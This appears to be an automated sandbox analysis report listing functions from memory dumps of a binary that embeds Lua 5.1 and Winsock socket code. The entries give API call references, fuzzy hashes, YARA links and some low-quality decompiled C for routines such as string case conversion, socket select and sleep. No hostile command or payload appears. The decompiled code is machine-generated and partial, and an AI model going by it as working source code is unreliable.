Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_tolstring.$lua_pushinteger.lua_replace.lua_tointeger.
String ID:
API String ID: 3687203914-0
Opcode ID: 9b9099412adb33e1795d61356204cf11d4786e998d72e3192ad48321a41679f3
Instruction ID: 391f80fc55185fb3427af442a19285bd6352e9dc41740b0b20e76bb7fb7d2b3d
Opcode Fuzzy Hash: 9b9099412adb33e1795d61356204cf11d4786e998d72e3192ad48321a41679f3
Instruction Fuzzy Hash: 0A1106756082056BD310DEA8DC81EEFB7ECDBC12D0F44093DF94497211E676E84987E2

Uniqueness

Uniqueness Score: -1.00%

Function 10014420, Relevance: 7.6, APIs: 5, Instructions: 63COMMON

Download Yara Rule

APIs

luaL_checklstring.LUA5.1(?,00000001,?), ref: 1001442F

Part of subcall function 1000F4A0: lua_tolstring.LUA5.1(?,?,?,?,?,?,1000F292,?,?,00000000), ref: 1000F4B2

luaL_checkinteger.LUA5.1(?,00000002,?), ref: 10014441

Part of subcall function 1000F5C0: lua_tointeger.LUA5.1(?,?), ref: 1000F5CD
Part of subcall function 1000F5C0: lua_isnumber.LUA5.1(?,?), ref: 1000F5DD

luaL_optinteger.LUA5.1(?,00000003,000000FF,?,?,?,?,?), ref: 1001445E

Part of subcall function 1000F600: lua_type.LUA5.1(?,?), ref: 1000F60C

lua_pushlstring.LUA5.1(?,-00000001,00000001,?,?,?,?,?,?,?,?,?), ref: 10014491
lua_pushlstring.LUA5.1(?,1001AB10,00000000,?,?,?,?,?,?,?,?,?), ref: 100144AA

Part of subcall function 10001930: luaS_newlstr.LUA5.1(?,?,?), ref: 1000195A

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_pushlstring.$L_checkinteger.L_checklstring.L_optinteger.S_newlstr.lua_isnumber.lua_tointeger.lua_tolstring.lua_type.
String ID:
API String ID: 3601105028-0
Opcode ID: 9145638a95639f900bc761f7749f505c4e4ec9b6157bffadb820cffd7cd070a5
Instruction ID: 2e7c2011c372aaaa604ac61816d20ef8f691f963a366e44801d2b6c2795ee369
Opcode Fuzzy Hash: 9145638a95639f900bc761f7749f505c4e4ec9b6157bffadb820cffd7cd070a5
Instruction Fuzzy Hash: 3601F9BAA001012BE200D554BCC2FBF735CC7C1665F050539F954DB287E662FD9512E2

Uniqueness

Uniqueness Score: -1.00%

Function 10014580, Relevance: 7.6, APIs: 5, Instructions: 53COMMON

Download Yara Rule

APIs

luaL_checklstring.LUA5.1(?,00000001), ref: 10014597

Part of subcall function 1000F4A0: lua_tolstring.LUA5.1(?,?,?,?,?,?,1000F292,?,?,00000000), ref: 1000F4B2

luaL_buffinit.LUA5.1(?,?,?,00000001), ref: 100145A4
luaL_prepbuffer.LUA5.1(?), ref: 100145D1
tolower.MSVCRT ref: 100145DF
luaL_pushresult.LUA5.1(?), ref: 10014602

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_buffinit.L_checklstring.L_prepbuffer.L_pushresult.lua_tolstring.tolower
String ID:
API String ID: 2415281170-0
Opcode ID: 024cece5911bf815da7eb73de44e97dffbeb1861dedc2a530efcc8cbb2c83cd0
Instruction ID: 8656b9c518a23027cf3c859489ce47ba86e9b29e8775c7a9dc4201707695f6d0
Opcode Fuzzy Hash: 024cece5911bf815da7eb73de44e97dffbeb1861dedc2a530efcc8cbb2c83cd0
Instruction Fuzzy Hash: F901C4755043515BD710DB68D8C1DABB3E9EF94340F45482DF89587202EB30E94A87A3

Uniqueness

Uniqueness Score: -1.00%

Function 10014620, Relevance: 7.6, APIs: 5, Instructions: 53COMMON

Download Yara Rule

APIs

luaL_checklstring.LUA5.1(?,00000001), ref: 10014637

Part of subcall function 1000F4A0: lua_tolstring.LUA5.1(?,?,?,?,?,?,1000F292,?,?,00000000), ref: 1000F4B2

luaL_buffinit.LUA5.1(?,?,?,00000001), ref: 10014644
luaL_prepbuffer.LUA5.1(?), ref: 10014671
toupper.MSVCRT ref: 1001467F
luaL_pushresult.LUA5.1(?), ref: 100146A2

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_buffinit.L_checklstring.L_prepbuffer.L_pushresult.lua_tolstring.toupper
String ID:
API String ID: 4013154477-0
Opcode ID: e218d2ba4caca59dc7ce08949bea6e48a152302a623694942cf9ab9ccf19795d
Instruction ID: aa02203b80b58980868e1199d71efe31b64802ab187f40ff1803c728430bf6be
Opcode Fuzzy Hash: e218d2ba4caca59dc7ce08949bea6e48a152302a623694942cf9ab9ccf19795d
Instruction Fuzzy Hash: 3E01C0B55043519BE710DB28D8C1DABB3E8FF95344F05482DF89487201EB70E94A87E3

Uniqueness

Uniqueness Score: -1.00%

Function 10012430, Relevance: 7.6, APIs: 5, Instructions: 52fileCOMMON

Download Yara Rule

APIs

lua_type.LUA5.1(?,00000001), ref: 10012438
lua_rawgeti.LUA5.1(?,FFFFD8EF,00000001), ref: 1001244C
luaL_checklstring.LUA5.1(?,00000001,00000000), ref: 10012463
fopen.MSVCRT ref: 10012478
lua_gettop.LUA5.1(?,00000001), ref: 10012496

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_checklstring.fopenlua_gettop.lua_rawgeti.lua_type.
String ID:
API String ID: 2279767898-0
Opcode ID: 0b8743dbec81a24e4825ef5e278f63bea946f713c7ecf149b41be6310776a458
Instruction ID: c38ee4ca88316d95675d580ecdb45d18d6d857f121b5e4bb0cb585be7e4d32bb
Opcode Fuzzy Hash: 0b8743dbec81a24e4825ef5e278f63bea946f713c7ecf149b41be6310776a458
Instruction Fuzzy Hash: FFF09CBA95162133FA1162287C43FCF254DCF52798F050020F604BE187F6A5F7E601EA

Uniqueness

Uniqueness Score: -1.00%

Function 005936B0, Relevance: 7.6, APIs: 5, Instructions: 52
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E005936B0(long long __fp0, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24) {
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _t11;
				intOrPtr _t12;
				intOrPtr _t17;
				intOrPtr _t20;
				intOrPtr _t24;
				signed int _t25;
				void* _t27;
				long long* _t28;
				long long* _t29;
				long long _t34;

				_t34 = __fp0;
				_t27 = (_t25 & 0xfffffff8) - 0xc;
				_t11 = _a12;
				_t20 = 0;
				if(_t11 > 0) {
					_t17 = _a20;
					_t24 = _a4;
					do {
						_t12 = _a8;
						_push(_t12);
						_push(_t20);
						L00594A40();
						if(_t12 != 0) {
							_t28 = _t27 - 8;
							_a24 = _a24 + 1;
							asm("fild dword [ebp+0x1c]");
							 *_t28 = _t34;
							_push(_t24);
							L00594B5A();
							_v20 = _t20;
							_v16 = 0;
							asm("fild qword [esp+0x1c]");
							_t29 = _t28 + 4;
							 *_t29 = _t34;
							_push(_t24);
							L00594B5A();
							_push(_a16);
							_push(_t24);
							L00594B00();
							_push(_t17);
							_push(_t24);
							L00594B42();
							_t27 = _t29 + 0x1c;
						}
						_t11 = _a12;
						_t20 = _t20 + 1;
					} while (_t20 < _t11);
				}
				return _t11;
			}

0x005936b0
0x005936b6
0x005936b9
0x005936bf
0x005936c3
0x005936c5
0x005936c8
0x005936cb
0x005936cb
0x005936ce
0x005936cf
0x005936d0
0x005936d7
0x005936dc
0x005936e0
0x005936e3
0x005936e6
0x005936e9
0x005936ea
0x005936ef
0x005936f3
0x005936fb
0x005936ff
0x00593702
0x00593705
0x00593706
0x0059370e
0x0059370f
0x00593710
0x00593715
0x00593716
0x00593717
0x0059371c
0x0059371c
0x0059371f
0x00593722
0x00593723
0x005936cb
0x0059372d

APIs

__WSAFDIsSet.WSOCK32(00000000,00000000), ref: 005936D0
lua_pushnumber.LUA5.1(?,?,00000001,00000000,?,?), ref: 005936EA
lua_pushnumber.LUA5.1(?,?,?,00000001,00000000,?,?), ref: 00593706
lua_gettable.LUA5.1(?,?,?,?,?,00000001,00000000,?,?), ref: 00593710
lua_settable.LUA5.1(?,00000000,?,?,?,?,?,00000001,00000000,?,?), ref: 00593717

Memory Dump Source

Source File: 00000002.00000002.469704074.0000000000591000.00000020.00020000.sdmp, Offset: 00590000, based on PE: true

Associated: 00000002.00000002.469680317.0000000000590000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469736772.0000000000595000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469762517.0000000000596000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.469833584.0000000000597000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_pushnumber.$lua_gettable.lua_settable.
String ID:
API String ID: 892425177-0
Opcode ID: a00f43078a4ce57c56e84f79f639fee7fe4558a4a20bde255f67cd6488ac6503
Instruction ID: 75560abaff41c1515c091ce69691b3817f16d895e07a360d23484395fd40b863
Opcode Fuzzy Hash: a00f43078a4ce57c56e84f79f639fee7fe4558a4a20bde255f67cd6488ac6503
Instruction Fuzzy Hash: DD01527150460A9BCF00AF59DC45EAF7BA9FF84354F004154FDA487241DB34DE268BAA

Uniqueness

Uniqueness Score: -1.00%

Function 00591440, Relevance: 7.5, APIs: 5, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 51%

			E00591440(void* __eax, void* __eflags, long long __fp0, char _a4) {
				intOrPtr* _v0;
				void* _t8;
				intOrPtr* _t9;
				char _t20;

				_t20 = _a4;
				_push(0);
				_push(1);
				_push(_t20);
				L00594B54();
				_a4 = 0;
				_t8 = E00591400(__eflags, __eax,  &_a4);
				_t19 = _t8;
				if(_t8 == 0) {
					_t9 =  *((intOrPtr*)(_a4 + 0xc));
					_push( *((intOrPtr*)( *_t9)));
					L00594A10();
					_push(_t9);
					_push(_t20);
					L00594AD0();
					E00591650(_v0, __fp0, _t20, _v0);
					return 2;
				} else {
					_push(_t20);
					L00594B4E();
					_push(E005946E0(_t19));
					_push(_t20);
					L00594AD0();
					return 2;
				}
			}

0x00591441
0x00591446
0x00591448
0x0059144a
0x0059144b
0x00591454
0x0059145e
0x00591463
0x0059146a
0x0059148e
0x00591495
0x00591496
0x0059149b
0x0059149c
0x0059149d
0x005914a8
0x005914b7
0x0059146c
0x0059146c
0x0059146d
0x00591478
0x00591479
0x0059147a
0x00591489
0x00591489

APIs

luaL_checklstring.LUA5.1(?,00000001,00000000), ref: 0059144B
lua_pushnil.LUA5.1(?), ref: 0059146D
lua_pushstring.LUA5.1(?,00000000,00000000,?), ref: 0059147A
inet_ntoa.WSOCK32(?), ref: 00591496
lua_pushstring.LUA5.1(?,00000000,?), ref: 0059149D

Memory Dump Source

Source File: 00000002.00000002.469704074.0000000000591000.00000020.00020000.sdmp, Offset: 00590000, based on PE: true

Associated: 00000002.00000002.469680317.0000000000590000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469736772.0000000000595000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469762517.0000000000596000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.469833584.0000000000597000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_pushstring.$L_checklstring.inet_ntoalua_pushnil.
String ID:
API String ID: 88720175-0
Opcode ID: f71ae4ee8f35149a87f7c96aff14bfc64f5b2a8a6e25cbf535af88eddc49cc57
Instruction ID: f9301aa3f7dc63845581c7aad8f8c6ff95c16668d4c8c1fbdd56ae9e0a010d78
Opcode Fuzzy Hash: f71ae4ee8f35149a87f7c96aff14bfc64f5b2a8a6e25cbf535af88eddc49cc57
Instruction Fuzzy Hash: 0DF0A4B56046222BEA00FA28EC4AFAF7B59EFC5314F144458F80557243D678DD478AEA

Uniqueness

Uniqueness Score: -1.00%

Function 100146C0, Relevance: 7.5, APIs: 5, Instructions: 44COMMON

Download Yara Rule

APIs

luaL_checklstring.LUA5.1(?,00000001), ref: 100146D8

Part of subcall function 1000F4A0: lua_tolstring.LUA5.1(?,?,?,?,?,?,1000F292,?,?,00000000), ref: 1000F4B2

luaL_checkinteger.LUA5.1(?,00000002,?,00000001), ref: 100146E2

Part of subcall function 1000F5C0: lua_tointeger.LUA5.1(?,?), ref: 1000F5CD
Part of subcall function 1000F5C0: lua_isnumber.LUA5.1(?,?), ref: 1000F5DD

luaL_buffinit.LUA5.1(?,?,?,00000002,?,00000001), ref: 100146EF
luaL_addlstring.LUA5.1(?,00000000,?), ref: 1001470A

Part of subcall function 1000FAC0: luaL_prepbuffer.LUA5.1(?,?,00000000,?,?,1000FB2D,?,?,?,?,1000F8CA,?,?), ref: 1000FAE5

luaL_pushresult.LUA5.1(?), ref: 1001471A

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_addlstring.L_buffinit.L_checkinteger.L_checklstring.L_prepbuffer.L_pushresult.lua_isnumber.lua_tointeger.lua_tolstring.
String ID:
API String ID: 2505501650-0
Opcode ID: dd5380a8d918d5b8c240988544aa195298b1a548add2beebdd0a94509ed2034c
Instruction ID: 78559fe0664be6828c5f7a6f9c949e5784c58d9458450df14d03adf4bddf0565
Opcode Fuzzy Hash: dd5380a8d918d5b8c240988544aa195298b1a548add2beebdd0a94509ed2034c
Instruction Fuzzy Hash: AEF0F6B9A002006BF310D614EC82FBB72ECEBD4794F48482DBD4482246F674FD0952F2

Uniqueness

Uniqueness Score: -1.00%

Function 00594130, Relevance: 7.5, APIs: 5, Instructions: 41
sleepCOMMON

Download Yara Rule

C-Code - Quality: 56%

			E00594130(void* __fp0, long _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				intOrPtr _v4;
				intOrPtr _t10;
				long _t11;
				intOrPtr* _t12;
				intOrPtr _t13;
				void* _t17;
				intOrPtr* _t18;

				_t10 = E00592D00(_a20, _a20);
				_t18 = _t17 + 4;
				L00594BD0();
				 *_t18 = _t10;
				asm("fild dword [esp]");
				asm("fsubr st0, st1");
				L00594BD0();
				_v4 = _t10;
				_t11 = _a4;
				if(_t11 > 0) {
					asm("fcomp qword [0x595168]");
					asm("fnstsw ax");
					if((_t11 & 0x00000001) != 0) {
						_t12 = 0;
					} else {
						_t12 = _t18;
					}
					_push(_t12);
					_t13 = _a8;
					_push(_a16);
					_push(_a12);
					_push(_t13);
					_push(0);
					L00594A58();
					return _t13;
				} else {
					L00594BD0();
					Sleep(_t11);
					return 0;
				}
			}

0x00594138
0x0059413f
0x00594142
0x00594147
0x0059414b
0x0059414f
0x00594157
0x0059415c
0x00594160
0x00594166
0x00594180
0x00594186
0x0059418b
0x00594193
0x0059418d
0x0059418d
0x0059418d
0x0059419d
0x0059419e
0x005941a2
0x005941a3
0x005941a4
0x005941a5
0x005941a7
0x005941af
0x00594168
0x0059416e
0x00594174
0x0059417f
0x0059417f

APIs

_ftol.MSVCRT ref: 00594142
_ftol.MSVCRT ref: 00594157
_ftol.MSVCRT ref: 0059416E
Sleep.KERNEL32(00000000,?,00000000,BFF00000), ref: 00594174
select.WSOCK32(00000000,?,?,?,00000000), ref: 005941A7

Memory Dump Source

Source File: 00000002.00000002.469704074.0000000000591000.00000020.00020000.sdmp, Offset: 00590000, based on PE: true

Associated: 00000002.00000002.469680317.0000000000590000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469736772.0000000000595000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469762517.0000000000596000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.469833584.0000000000597000.00000002.00020000.sdmp Download File

Similarity

API ID: _ftol$Sleepselect
String ID:
API String ID: 1151169303-0
Opcode ID: 833575ab8ca2461e581ed0013997dac8ee008579395ba7cd0bbed6f8b0410c37
Instruction ID: 36207481f8fcd0430337e17ccae4938a2c981b5ab2e5462e54667f928d5f0c75
Opcode Fuzzy Hash: 833575ab8ca2461e581ed0013997dac8ee008579395ba7cd0bbed6f8b0410c37
Instruction Fuzzy Hash: ED014FB0A04601BBDB00EB60ED0AB1B7BE9BBD4714F514829F48492150F634DC59EB52

Uniqueness

Uniqueness Score: -1.00%

Function 1000FCD0, Relevance: 7.5, APIs: 5, Instructions: 36COMMON

Download Yara Rule

APIs

lua_gettop.LUA5.1(?), ref: 1000FCF0
lua_rawgeti.LUA5.1(?,?,00000000), ref: 1000FD00
lua_rawseti.LUA5.1(?,?,?,?,?,00000000), ref: 1000FD08
lua_pushinteger.LUA5.1(?,?,?,?,?,?,?,00000000), ref: 1000FD0F
lua_rawseti.LUA5.1(?,?,00000000,?,?,?,?,?,?,?,00000000), ref: 1000FD18

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_rawseti.$lua_gettop.lua_pushinteger.lua_rawgeti.
String ID:
API String ID: 1628033441-0
Opcode ID: 3b9965e1af6fdcbe214ac6bc5389dfbe58390c43f563a422c964ec3163dd33a0
Instruction ID: ffe6777080df0799ebc814a587712267bde4526f9aaf40c369506bec4ab3f8c2
Opcode Fuzzy Hash: 3b9965e1af6fdcbe214ac6bc5389dfbe58390c43f563a422c964ec3163dd33a0
Instruction Fuzzy Hash: F4F0A076A0126536F211DA554CC2FBFA6ADDFD6AD0F05042DFE04A31064710BD09A2F6

Uniqueness

Uniqueness Score: -1.00%

Function 10013AC0, Relevance: 7.5, APIs: 5, Instructions: 36COMMON

Download Yara Rule

APIs

lua_getfield.LUA5.1(?,000000FF,?,?,?,10013A73,?,isdst,?,year,000000FF,?,month,000000FF), ref: 10013ACE

Part of subcall function 10001B90: luaS_newlstr.LUA5.1(?,?,?,?,?), ref: 10001BBA

lua_type.LUA5.1(?,000000FF,?,000000FF,?,?,?,10013A73,?,isdst,?,year,000000FF,?,month,000000FF), ref: 10013AD6
lua_settop.LUA5.1(?,000000FE,year,000000FF,?,month,000000FF), ref: 10013AE8
lua_toboolean.LUA5.1(?,000000FF,year,000000FF,?,month,000000FF), ref: 10013AF8
lua_settop.LUA5.1(?,000000FE,?,?,year,000000FF,?,month,000000FF), ref: 10013B05

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_settop.$S_newlstr.lua_getfield.lua_toboolean.lua_type.
String ID:
API String ID: 3602003842-0
Opcode ID: 88a2de51237559f628ea00039f3450157d3dafc63f101e52e875cd0ed38c9131
Instruction ID: 25ac0aee695646d7aeecfd027ccbf33164c5a2af47e178d29d4ae8de16ae224d
Opcode Fuzzy Hash: 88a2de51237559f628ea00039f3450157d3dafc63f101e52e875cd0ed38c9131
Instruction Fuzzy Hash: 9EE0126FA0D432726401A11D7C02CDF364ECFC71F6B690331FA75A22EAFA11A94602F6

Uniqueness

Uniqueness Score: -1.00%

Function 10011670, Relevance: 7.5, APIs: 5, Instructions: 33COMMON

Download Yara Rule

APIs

lua_pushvalue.LUA5.1(?,000000FE,?,100115C7,?,00000000,func), ref: 10011680
lua_remove.LUA5.1(?,000000FD,?,000000FE,?,100115C7,?,00000000,func), ref: 10011688
lua_setfield.LUA5.1(?,000000FE,?,?,100115C7,?,00000000,func), ref: 10011698

Part of subcall function 10001DD0: luaS_newlstr.LUA5.1(?,?,?,?,?), ref: 10001DFA

lua_xmove.LUA5.1(?,?,00000001,?,100115C7,?,00000000,func), ref: 100116A6
lua_setfield.LUA5.1(?,000000FE,?,100115C7,?,00000000,func), ref: 100116B6

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_setfield.$S_newlstr.lua_pushvalue.lua_remove.lua_xmove.
String ID:
API String ID: 3199617591-0
Opcode ID: edfa1481b4c56c541a5e4c62495129d80be5d61d94cb4f63fca0a9a1974ac1dd
Instruction ID: 67173f87f446facc36bdb949723f8c573ee49fd284d70dcf4917023bd1e2a579
Opcode Fuzzy Hash: edfa1481b4c56c541a5e4c62495129d80be5d61d94cb4f63fca0a9a1974ac1dd
Instruction Fuzzy Hash: 65E06D7580D13236E901E21CBC42DDF278EDF822F4F140700F474761DAEA25AA9141EA

Uniqueness

Uniqueness Score: -1.00%

Function 10011120, Relevance: 7.5, APIs: 5, Instructions: 29COMMON

Download Yara Rule

APIs

luaL_checkinteger.LUA5.1(?,00000002), ref: 10011129

Part of subcall function 1000F5C0: lua_tointeger.LUA5.1(?,?), ref: 1000F5CD
Part of subcall function 1000F5C0: lua_isnumber.LUA5.1(?,?), ref: 1000F5DD

luaL_checktype.LUA5.1(?,00000001,00000005,?,00000002), ref: 10011135

Part of subcall function 1000F410: lua_type.LUA5.1(?,?), ref: 1000F41C

lua_pushinteger.LUA5.1(?,00000001,?,00000001,00000005,?,00000002), ref: 1001113D
lua_rawgeti.LUA5.1(?,00000001,00000001,?,00000001,?,00000001,00000005,?,00000002), ref: 10011146
lua_type.LUA5.1(?,000000FF,?,00000001,00000001,?,00000001,?,00000001,00000005,?,00000002), ref: 1001114E

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_type.$L_checkinteger.L_checktype.lua_isnumber.lua_pushinteger.lua_rawgeti.lua_tointeger.
String ID:
API String ID: 4088775282-0
Opcode ID: 57f9ea294582b0531f936359552e08e424800ded072699aa0fdc37b32a5ff9c9
Instruction ID: 31e8dccde113cbac957a81605149adfd83f17e6f203961eefe764f5c05c4ff7c
Opcode Fuzzy Hash: 57f9ea294582b0531f936359552e08e424800ded072699aa0fdc37b32a5ff9c9
Instruction Fuzzy Hash: 78E0C23A1A5A7034F92091386C0BFDF154CCFC3BE0F040A15F220B70DAE98976C240E9

Uniqueness

Uniqueness Score: -1.00%

Function 005930C0, Relevance: 7.5, APIs: 5, Instructions: 27
COMMON

Download Yara Rule

C-Code - Quality: 34%

			E005930C0(void* __eax, intOrPtr _a4) {
				intOrPtr _t5;

				_t5 = _a4;
				_push(0xffffffff);
				_push(_t5);
				L00594AFA();
				if(__eax != 5) {
					return 0;
				} else {
					_push(0x3ff00000);
					_push(0);
					_push(_t5);
					L00594B5A();
					_push(0xfffffffe);
					_push(_t5);
					L00594B00();
					_push(_t5);
					L00594B4E();
					_push(0xfffffffe);
					_push(_t5);
					L00594BB4();
					return 1;
				}
			}

0x005930c1
0x005930c5
0x005930c7
0x005930c8
0x005930d3
0x00593105
0x005930d5
0x005930d5
0x005930da
0x005930dc
0x005930dd
0x005930e2
0x005930e4
0x005930e5
0x005930ea
0x005930eb
0x005930f0
0x005930f2
0x005930f3
0x00593101
0x00593101

APIs

lua_type.LUA5.1(0059308D,000000FF,?,0059308D,?), ref: 005930C8
lua_pushnumber.LUA5.1(0059308D,00000000,3FF00000,0059308D,?), ref: 005930DD
lua_gettable.LUA5.1(0059308D,000000FE,0059308D,00000000,3FF00000,0059308D,?), ref: 005930E5
lua_pushnil.LUA5.1(0059308D,0059308D,000000FE,0059308D,00000000,3FF00000,0059308D,?), ref: 005930EB
lua_insert.LUA5.1(0059308D,000000FE,0059308D,0059308D,000000FE,0059308D,00000000,3FF00000,0059308D,?), ref: 005930F3

Memory Dump Source

Source File: 00000002.00000002.469704074.0000000000591000.00000020.00020000.sdmp, Offset: 00590000, based on PE: true

Associated: 00000002.00000002.469680317.0000000000590000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469736772.0000000000595000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469762517.0000000000596000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.469833584.0000000000597000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_gettable.lua_insert.lua_pushnil.lua_pushnumber.lua_type.
String ID:
API String ID: 2733307388-0
Opcode ID: 538088b6d87649a1910de15a3921ae6004b6f7297cf08bd034242e1658f0681d
Instruction ID: d225c87e4d5c9ee6ef3ba210eeb171a4773266a84ee2148a7280a4020c2db3b7
Opcode Fuzzy Hash: 538088b6d87649a1910de15a3921ae6004b6f7297cf08bd034242e1658f0681d
Instruction Fuzzy Hash: E8E0EC3151943331DE2135283C46FCE1A4B6F96331F254781F536722E59A489E8349EE

Uniqueness

Uniqueness Score: -1.00%

Function 10016A00, Relevance: 7.5, APIs: 5, Instructions: 26COMMON

Download Yara Rule

APIs

lua_getstack.LUA5.1(?,00000001,00000000,?), ref: 10016A10
lua_getinfo.LUA5.1(?,10019DE0,?,?,00000001,00000000,?), ref: 10016A20

Part of subcall function 10004130: strchr.MSVCRT ref: 1000417D
Part of subcall function 10004130: luaD_growstack.LUA5.1(?,00000001), ref: 100041B2
Part of subcall function 10004130: strchr.MSVCRT ref: 100041C1

lua_pushvalue.LUA5.1(?,000000FE,?,10019DE0,?,?,00000001,00000000,?), ref: 10016A28
lua_setfenv.LUA5.1(?,000000FE,?,000000FE,?,10019DE0,?,?,00000001,00000000,?), ref: 10016A30
lua_settop.LUA5.1(?,000000FE,?,000000FE,?,000000FE,?,10019DE0,?,?,00000001,00000000,?), ref: 10016A38

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: strchr$D_growstack.lua_getinfo.lua_getstack.lua_pushvalue.lua_setfenv.lua_settop.
String ID:
API String ID: 297882601-0
Opcode ID: 0893a4471621c594c8f4178de3d5c2c98da76f6d3584796d30816f26927cb854
Instruction ID: 713b6634cd4742ef2314bbf4a46f0b4552ae3cfb51be84070b8263407ddf0f11
Opcode Fuzzy Hash: 0893a4471621c594c8f4178de3d5c2c98da76f6d3584796d30816f26927cb854
